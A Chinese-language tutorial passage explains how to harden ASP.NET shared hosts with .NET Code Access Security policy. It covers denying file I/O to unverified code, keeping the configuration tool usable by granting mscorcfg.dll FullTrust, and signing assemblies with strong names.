我们在这里主要讨论的是运行库安全策略。在此策略中,按层次结构由高到低分为四个级别,即:企业、计算机、用户、应用程序。在计算权限授予时,运行库从该层次结构的顶部开始,然后向下进行计算。较低的策略级别不能对在较高级别上授予的权限进行增加,但是可以使权限减少。这就是说如果我们将计算机策略设置为较小的权限时,可以不必更改企业策略就可以使设置的权限生效,也就是说权限检查的顺序是从低级别到高级别,只有在低级别中不存在的设置才会检查上一级的设置。默认情况下,用户策略和应用程序域策略的限制性小于计算机策略和企业级策略。大部分默认策略存在于计算机级别。所以我们需要将默认安装的主机的权限在计算机级别上进行修改,修改的内容根据主机是不是共享主机,主机应用的其他不明代码的可能性来设置。如果是我们讨论的共享主机的话,在计算机级别上就尽量将权限设的小一些,为了避免我们讨论的文件系统安全问题,一定要注意权限中的本地磁盘访问权限。
我们打开计算机策略设置可以发现几个默认的代码组、权限集和策略程序集。
根据需要,我们可以添加代码组和自定义的权限集。
在添加代码组的时候可以选择几种条件,主要的条件类型:默认为All Code、应用程序目录、哈希、强名称、作者、站点等。
对于我们所要讨论的共享主机,我们需要将My_Computer_Zone下的All Code的权限更改为不能进行磁盘读写,在更改之前,我们需要先定义一个权限集。这一权限集的作用就是将我们需要点击权限集,右键快捷菜单中选择新建,会出现一个创建权限集的窗口,这里需要给我们新建的权限集命名。下一步就是将单个权限分配给权限集。如下图所示。
在这里我们可以给这个新建的权限集赋予一个的系统权限,如上图所示,可用的权限包括:目录服务、DNS、事件日志、环境变量、文件IO、OLEDB数据库操作、注册表等等。我们主要要说明的是文件IO操作,其他的权限操作可以根据自己的需求来设置。这里我们就不再说明了。
在文件IO的权限设置中我们可以自定义针对每一个目录的权限,这里包括读、写、追加、路径盘等操作,在这里我们可以将我们需要的目录权限添加到列表中。因为我们是利用这一权限使所有没有配置权限的代码不可以进行文件IO操作,所以我们不强文件IO添加到分配的权限中。
新建了这一权限集后,我们更改一下默认设置,即将All Code的权限设置为此新建的权限集,也就是说所有没有在此定义代码都不能访问文件IO系统。
这里需要注意一件事情,因为Microsoft .NET Framework Configuration本身也需要文件IO权限,如果没有单独分配给Configuration一个文件IO操作权限的话,那么您就不能再次使用Configuration来设置权限了,只能重新安装.NET Framework了。所以我们需要将FullTrust权限分配给Configuration所使用的Dll,即mscorcfg.dll。在添加时,成员条件可以选择强名称,使用"导入",到winnt/window .net/framework/versionnumber/下选择mscorcfg.dll。如果需要运行其他配置程序,还需要设置相应的权限,这些系统程序一般都在系统程序集缓存中。
这样我们就完成了一个简单的设置,可以防止任何未经验证的代码访问文件IO系统。这样就从根本上防止了磁盘恶意操作。
如果您今后需要利用这一功能或者有共享主机用户需要使用文件IO功能,那么您可以在Microsoft .NET Framework Configuration中将其加入代码,如果不能使其使用其他功能,可以仅仅设置一个只具有文件IO权限的权限集。如果是共享主机用户您还可以给他分配直接到其所使用的目录的全部读写权限,对于他的日志文档,您可以将读功能分配给用户。通过上边新建权限集时我们可以发现:权限集可以规定到每一个目录的读写权限,所以可以将用户锁定于其可以使用的目录中。当然对于共享主机提供商来说,最好的方法就是自己实现这些功能,然后配置权限系统使用户使用共享主机提供商的程序来实现他们的正常操作,而避免了恶意文件操作。
需要注意的是如果分配给每一个单独的程序相应的权限时,我们最好使用强名称这一方式或者其他的可验证方式,强名称由程序集的标识--其简单文本名称、版本号和区域性信息(如果提供)--加上公钥和数字签名组成。这就需要我们使用Sn.exe 来设置密钥、签名和签名验证。强名称保证了程序是开发人员开发的并且没有被改动。
在进行上面的设置之后,管理员可以根据用户的各种需求来设置不同的代码集和权限集。
我们已经简单的介绍了一下ASP.NET中关于文件IO系统的漏洞的防治方法,这一方法有些繁琐,但是却可以从根本上杜绝一些漏洞,由于.NET的JIT(运行时编译)和IL(中间语言),.NET可以在程序编译时检查程序的安全性设置,所以能从根本上防止一些非法访问。.NET的代码安全性的内容很全面,我们讨论的只是很少的一部分,更多的功能需要大家共同来探索、学习。